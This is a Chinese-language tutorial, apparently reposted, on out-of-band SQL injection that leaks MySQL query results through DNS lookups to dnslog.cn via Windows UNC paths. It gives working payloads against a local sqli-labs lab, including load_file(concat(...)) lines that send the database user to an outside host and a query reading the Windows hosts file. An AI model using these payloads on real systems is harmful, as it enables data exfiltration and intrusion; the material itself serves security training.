利用DNS實現SQL注入帶外查詢(OOB)


根據用於數據檢索的傳輸信道,SQLi可分為三個獨立的類別:inference(經典SQL注入),inband(盲注、推理注入、帶內注入)和out-of-band

一、什么是OOB

out-of-band帶外數據(OOB)與inband相反,它是一種通過其他傳輸方式來竊取數據的技術(例如利用DNS解析協議和電子郵件)。OOB技術通常需要易受攻擊的實體生成出站TCP/UDP/ICMP請求,然后允許攻擊者泄露數據。OOB攻擊的成功基於出口防火牆規則,即是否允許來自易受攻擊的系統和外圍防火牆的出站請求。而從域名服務器(DNS)中提取數據,則被認為是最隱蔽有效的方法。

二、利用原理

1、常規SQL注入,獲取服務器信息的方式

2、SQL注入利用DNS獲取查詢結果(OOB)

我們需要一個三級域名服務器(nameserver)也是DNS服務器(DNS Server),也就是下圖的schloar服務器。
還需要配置域名“www.scholar.com”對應的解析IP地址為“schloar服務器”的IP地址。
這樣就能夠實時地監控域名查詢請求了,圖示如下:

三、利用條件

需要windows環境

1、DBMS中需要有可用的,能直接或間接引發DNS解析過程的子程序,即使用到UNC

2、Linux沒有UNC路徑,所以當處於Linux環境,不能使用該方式獲取數據

四、環境搭建

1、Windwos操作系統

2、Mysql數據庫服務

3、互聯網上有已經准備好的域名服務器和DNS服務器環境

DNSLog.cn

CEYE

五、OOB復現

1、首先打開DNSLog.cn網站

2、打開windows客戶端DOS

ping q5i9by.dnslog.cn

結果如下圖:

3、進入Windows客戶端Mysql服務

select load_file("////xxx.q5i9by.dnslog.cn//x.txt");
select load_file(concat("\\\\",user(),".q5i9by.dnslog.cn//aa.txt"));

注:

1、\\轉義后即為\

2、concat將(1,2,3)拼接在一起形成123

六、利用SQL注入漏洞外帶查詢

直接上payload

http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' and load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))-- 

file

file

七、OOB引申的擴展知識

1、Mysql內置函數load_file()不僅能對\www.test.com這樣的URL發起請求,還能夠加載本地文件,如下:

select load_file("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");

show variables like '%secure%';查看load_file()可以讀取的磁盤。

(1)當secure_file_priv為空,就可以讀取磁盤的目錄。

(2)當secure_file_priv為G:\,就可以讀取G盤的文件。

(3)當secure_file_priv為null,load_file就不能加載文件。

通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。

2、不同DBMS中使用的方法,參考如下鏈接
https://blog.csdn.net/u014029795/article/details/105214129

3、UNC定義
UNC是一種命名慣例, 主要用於在Microsoft Windows上指定和映射網絡驅動器.。UNC命名慣例最多被應用於在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。UNC路徑就是類似\softer這樣的形式的網絡路徑
格式: \servername\sharename ,其中 servername 是服務器名,sharename 是共享資源的名稱。
目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑,格式為:\servername\sharename\directory\filename

參考鏈接

https://blog.csdn.net/u014029795/article/details/105214129
https://www.freebuf.com/articles/web/201013.html
https://www.cnblogs.com/-qing-/p/10623583.html

聲明

嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM